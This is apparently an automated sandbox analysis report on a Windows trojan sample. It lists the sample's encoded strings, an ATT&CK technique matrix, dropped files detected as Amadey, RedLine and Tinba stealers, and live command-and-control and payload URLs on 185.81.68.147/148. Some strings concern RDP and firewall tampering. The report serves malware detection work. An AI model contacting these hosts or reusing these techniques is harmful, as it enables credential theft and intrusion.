K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	1012 Process Injection	2 Obfuscated Files or Information	1 Credentials In Files	138 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Command and Scripting Interpreter	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	681 Security Software Discovery	SSH	3 Clipboard Data	122 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 Scheduled Task/Job	RC Scripts	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Rootkit	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1012 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Rundll32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mggoBrtk9t.exe	55%	ReversingLabs	Win64.Trojan.Leonem
mggoBrtk9t.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6B1D.tmp.update.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	47%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	34%	ReversingLabs	Win64.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	29%	ReversingLabs	Win64.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealz
C:\Users\user\AppData\Local\Temp\6B1D.tmp.update.exe	55%	ReversingLabs	Win64.Trojan.Leonem
C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	66%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\_MEI15962\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\python38.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI15962\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	66%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll	47%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll	34%	ReversingLabs	Win64.Infostealer.Tinba
C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	55%	ReversingLabs	Win64.Trojan.Leonem

Source	Detection	Scanner	Label
http://185.81.68.147/46122658-3693405117-2476756634-1003	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.phpb8b	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.php#	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phpsK1bRhSyTkkD9QYQDw4TYWGHLCsdncEYUAc	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phps	100%	Avira URL Cloud	phishing
http://185.81.68.147/wsys	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/Plugins/cred64.dll	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phpJU:	100%	Avira URL Cloud	phishing
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	Avira URL Cloud	safe
http://185.81.68.147/7vhfjke3/Plugins/cred64.dll$	100%	Avira URL Cloud	phishing
http://185.81.68.147/7vhfjke3/index.phpHo5	100%	Avira URL Cloud	phishing
http://185.81.68.148/Fvu5jh4DbS/index.php	100%	Avira URL Cloud	phishing
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	0%	Avira URL Cloud	safe
http://185.81.68.147/7vhfjke3/Plugins/clip64.dll	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.phpndows	100%	Avira URL Cloud	phishing
http://185.81.68.147/gfx.exe	100%	Avira URL Cloud	malware
http://185.81.68.148/J	100%	Avira URL Cloud	phishing
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	0%	Avira URL Cloud	safe
http://185.81.68.148/8Fvu5jh4DbS/index.php(	100%	Avira URL Cloud	phishing
http://185.81.68.148/8Fvu5jh4DbS/index.php	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.81.68.147/gfx.exe	true	Avira URL Cloud: malware	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/46122658-3693405117-2476756634-1003	Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.147/7vhfjke3/index.php#	Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://tempuri.org/Entity/Id23ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.0000000008761000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id2Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	56C7.tmp.ctx.exe, 00000010.00000003.1541380109.0000026ABBDA6000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1550156579.0000026ABBDA7000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD8B000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1541214933.0000026ABBD70000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh	rundll32.exe, 00000022.00000002.3798980117.0000000003211000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.phpsK1bRhSyTkkD9QYQDw4TYWGHLCsdncEYUAc	rundll32.exe, 00000021.00000002.3797376340.0000000002E60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/Plugins/cred64.dll	Gxtuum.exe, 00000017.00000002.3805886910.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=3B22F7CF85C14EF68AA6229BF5B3705E&timeOut=5000&oc	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexe	explorer.exe, 00000005.00000002.3822099222.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3082261334.00000000089B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2193186163.00000000089B8000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.phps	Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.81.68.148/8Fvu5jh4DbS/index.phpJU:	rundll32.exe, 0000001A.00000002.3469272832.00000222064D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://tempuri.org/Entity/Id15Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.rd.com/list/best-cities-by-generation/	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.81.68.147/wsys	Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	6148.tmp.ssg.exe, 00000011.00000000.1536966434.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.81.68.147/7vhfjke3/index.phpb8b	Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	56C7.tmp.ctx.exe, 00000010.00000003.1541380109.0000026ABBDA6000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000002.1550156579.0000026ABBDA7000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD8B000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1541214933.0000026ABBD70000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1538320870.0000026ABBD75000.00000004.00000020.00020000.00000000.sdmp, 56C7.tmp.ctx.exe, 00000010.00000003.1540992398.0000026ABBD4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.co	explorer.exe, 00000005.00000000.1348239607.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/System.ServiceModel	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000005.00000000.1329505266.0000000006968000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3817750333.000000000695E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21ResponseD	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.81.68.148/8Fvu5jh4DbS/index.phpndows	Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
